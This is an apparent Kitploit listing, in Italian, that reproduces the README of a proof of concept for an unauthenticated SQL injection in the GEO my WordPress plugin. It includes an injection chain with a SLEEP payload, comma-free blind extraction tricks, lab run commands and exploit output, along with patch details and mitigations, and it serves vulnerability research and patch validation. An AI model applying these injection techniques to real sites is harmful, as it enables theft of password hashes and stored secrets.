Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-GeoLeak-CVE-2026-52715 — PoC funzionale di CVE-2026-52715 (GeoLeak): SQLi non autenticata in GEO my WordPress <= 4.5.5 tramite swlatlng/nelatlng. Laboratorio Docker + exploit time-based/boolean-based + esfiltrazione senza virgole nel payload. | Kitploit
Strumenti/GitHubGitHub/686f6c61/poc-geoleak-cve-2026-52715
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHub686f6c61/poc-geoleak-cve-2026-52715

POC-GeoLeak-CVE-2026-52715

PoC funzionale di CVE-2026-52715 (GeoLeak): SQLi non autenticata in GEO my WordPress <= 4.5.5 tramite swlatlng/nelatlng. Laboratorio Docker + exploit time-based/boolean-based + esfiltrazione senza virgole nel payload.

Vedi Repository
427 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GeoLeak — PoC di CVE-2026-52715

Proof of Concept educativa di GeoLeak (CVE-2026-52715), iniezione SQL non autenticata (CVSS 9.3) nel plugin GEO my WordPress <= 4.5.5 per WordPress. I parametri swlatlng e nelatlng dei limiti della mappa vengono interpolati senza sanificazione nella clausola WHERE. Laboratorio Docker autocontenuto + exploit con tecniche time-based, boolean-based ed esfiltrazione carattere per carattere.


Indice

  1. Riepilogo esecutivo
  2. Avviso legale
  3. Architettura della catena
  4. Requisiti
  5. Struttura del repository
  6. Guida rapida all'uso
  7. Verifica dello sfruttamento
  8. Analisi tecnica
  9. La patch ufficiale (4.5.5.1)
  10. Mitigazione
  11. Crediti
  12. Licenza

Riepilogo esecutivo

CVE-2026-52715 è un'iniezione SQL (CWE-89) nella funzione del plugin GEO my WordPress, che affetta tutte le versioni ed è stata patchata dalla (15 giugno 2026). È stata scoperta dal ricercatore e pubblicata tramite Patchstack.

gmw_get_locations_within_boundaries_sql()
<= 4.5.5
4.5.5.1
alvarodh5

La catena denominata GeoLeak dimostra come, partendo dal solo accesso in lettura a qualsiasi pagina pubblica che contenga lo shortcode [gmw], un attaccante possa:

  1. Iniettare SQL arbitrario tramite il parametro swlatlng (o nelatlng) della query string, senza cookie, senza nonce e senza autenticazione.
  2. Forzare ritardi misurabili con SLEEP() (time-based blind) valutato per ogni riga dell'INNER JOIN contro wp_gmw_locations.
  3. Usare l'oracolo "total_results":N che il plugin stesso incorpora nel JSON di configurazione della mappa per inferire condizioni booleane (boolean-based blind).
  4. Esfiltrare l'intero database carattere per carattere aggirando la restrizione che il payload non può contenere virgole (PHP spezza il valore con explode(',', ...)), tramite CASE WHEN e SUBSTRING(x FROM n FOR 1).

Il risultato è lettura arbitraria del database di WordPress: tabella wp_users (hash delle password), opzioni di configurazione, chiavi e dati di terze parti memorizzati nei plugin.

Nella PoC si verifica l'estrazione completa di VERSION() di MariaDB utilizzando esclusivamente richieste GET.


Avviso legale

Questo repository contiene materiale strettamente educativo e difensivo.

  • Scopo: dimostrare la catena di sfruttamento a fini formativi, di audit proprio e di validazione delle patch.
  • Uso autorizzato: eseguilo esclusivamente contro sistemi che ti appartengono o per i quali disponi di esplicita autorizzazione scritta. Il laboratorio Docker incluso è l'unico ambiente previsto.
  • Vietato: qualsiasi uso contro sistemi di terze parti senza consenso. L'autore del repository non si assume alcuna responsabilità per l'uso improprio del materiale qui incluso.
  • Responsabilità: l'operatore è l'unico responsabile del rispetto della legislazione applicabile (LOPD/RGPD in Spagna, CFAA negli USA, ecc.).

Architettura della catena

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│  1. Peticion publica sin autenticar                                 │
│     GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=…  │
│     pagina publica con shortcode [gmw form="1"]                     │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  2. GMW_Form::set_default_values()                                  │
│     action=fs => formulario marcado como enviado                    │
│     get_form_values() toma $_SERVER['QUERY_STRING']                 │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  3. gmw_get_form_values() (gmw-functions.php:512)                   │
│     parse_str($query_string, $output)  sin lista de permitidos      │
│     $output['swlatlng'] llega intacto                               │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  4. parse_query_args() (class-gmw-form-core.php:794)                │
│     gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669)   │
│     $sw = explode(',', $southwest);                                 │
│     "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )"  │
│     interpolacion directa: sin prepare, sin validacion              │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  6. WP_Query -> $wpdb->get_results()                                │
│     SQL: ... AND ( gmw_locations.latitude BETWEEN                   │
│            1 AND SLEEP(5) AND 40.416775 AND 41 ) ...                │
│     respuesta retardada 5s / total_results = oraculo                │
└─────────────────────────────────────────────────────────────────────┘

Requisiti

  • Docker e Docker Compose (testato con Docker 29.4.1 / Compose v5.2.0)
  • curl e awk per l'exploit
  • Porta 3080 libera (oppure modifica il mapping in docker-compose.yml)

Struttura del repository

root@kitploit:~
POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml          WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│   ├── Dockerfile              Imagen WP + WP-CLI + entrypoint del laboratorio
│   ├── lab-entrypoint.sh       Arranque + siembra automatica en el primer boot
│   ├── seed.sh                 Instalacion WP, formulario, post geolocalizado
│   └── geo-my-wp/              Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│   └── poc.sh                  Exploit: time-based + boolean-based + exfiltracion
├── docs/
│   ├── analisis-tecnico.md     Cadena completa request -> SQL, con codigo
│   └── diff-parche-4.5.5.1-gmw-functions.php.diff   Parche oficial real
├── LICENSE
└── README.md

Guida rapida all'uso

root@kitploit:~
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build

# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo

# 3. Ejecutar la PoC
./poc/poc.sh

# 4. Destruir el laboratorio
docker compose down -v

Parametri configurabili dell'exploit:

root@kitploit:~
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh

Accesso a WordPress: http://localhost:3080 con admin/admin. La pagina con il form vulnerabile è http://localhost:3080/?page_id=5.

Nota: la riga seed in wp_gmw_locations è imprescindibile. La query usa INNER JOIN contro quella tabella: senza righe il WHERE iniettato non viene valutato e SLEEP() non dorme.


Verifica dello sfruttamento

Output reale dell'ultima esecuzione contro il laboratorio (14 agosto 2026):

root@kitploit:~
$ ./poc/poc.sh
===================================================
 CVE-2026-52715 | GEO my WordPress <= 4.5.5
 SQLi no autenticada via swlatlng/nelatlng
 Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
    Peticion benigna : 0.037000s
    Payload SLEEP    : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
    Condicion TRUE  -> total_results=1
    Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado

Verifica incrociata direttamente contro il database:

root@kitploit:~
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
    -N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404

Contro la versione patchata (>= 4.5.5.1) la fase time-based risponde in millisecondi e la PoC termina con [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).


Analisi tecnica

Dettaglio completo, con i frammenti di codice e le righe esatte, in docs/analisis-tecnico.md. Punti chiave:

  • Sink: gmw_get_locations_within_boundaries_sql() interpola {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} direttamente nella WHERE (tutti e quattro i punti sono iniettabili).
  • Source: gmw_get_form_values() elabora l'intera query string con parse_str() senza un elenco di consentiti.
  • Restrizione dell'exploit: il payload non può contenere virgole perché PHP fa explode(',', $southwest). La PoC usa CASE WHEN a THEN b ELSE c END invece di IF(a,b,c) e SUBSTRING(x FROM n FOR 1) invece di SUBSTRING(x,n,1).
  • Oracolo booleano: il JSON incorporato nella mappa espone "total_results":N; l'exploit calibra l'intervallo di lunghezza (-10..1) affinché la riga seed sopravviva quando la condizione è vera.
  • Tecniche: time-based e boolean-based verificate; UNION-based teorica (bisogna allineare le colonne di wp_posts.* più i campi gmw); error-based non pratica (wpdb silenzia gli errori).
  • Endpoint AJAX esclusi: i tre handler wp_ajax_nopriv_* del plugin o non eseguono SQL (versione gratuita), oppure sono protetti da nonce. Il vettore del CVE nella versione gratuita è la GET del form.

La patch ufficiale (4.5.5.1)

Diff reale completo in docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Tra 4.5.5 e 4.5.5.1 differiscono solo tre file (geo-my-wp.php della versione, readme.txt del changelog e includes/gmw-functions.php):

  1. Nuova funzione validatrice gmw_parse_latlng_boundary(): richiede esattamente 2 parti numeriche finite con |lat| <= 90 e |lng| <= 180.
  2. gmw_get_form_values() scarta con unset() i valori che non superano la validazione.
  3. Il sink viene riscritto con $wpdb->prepare() e segnaposto %f.

Versione attuale del plugin: 4.5.5.3 (luglio 2026), patchata.


Mitigazione

  1. Aggiornare a GEO my WordPress >= 4.5.5.1 (misura principale).
  2. Se non è possibile aggiornare immediatamente: regola WAF che blocchi valori non numerici in swlatlng/nelatlng, oppure virtual patching (Patchstack e simili).
  3. Verificare se i form [gmw] pubblici necessitano della ricerca per limiti di mappa.
  4. Monitorare gli accessi con pattern anomali swlatlng/nelatlng nei log.
  5. Se il sito è stato esposto: ruotare i segreti e riconsiderare gli hash di wp_users, l'iniezione permette di leggerli.

Crediti

  • Scoperta: ricercatore alvarodh5 (segnalato il 10 aprile 2026, pubblicato il 15 giugno 2026 tramite Patchstack).
  • Scheda Patchstack
  • Registro NVD CVE-2026-52715
  • GEO my WordPress su wordpress.org

Licenza

MIT

Scarica lo strumento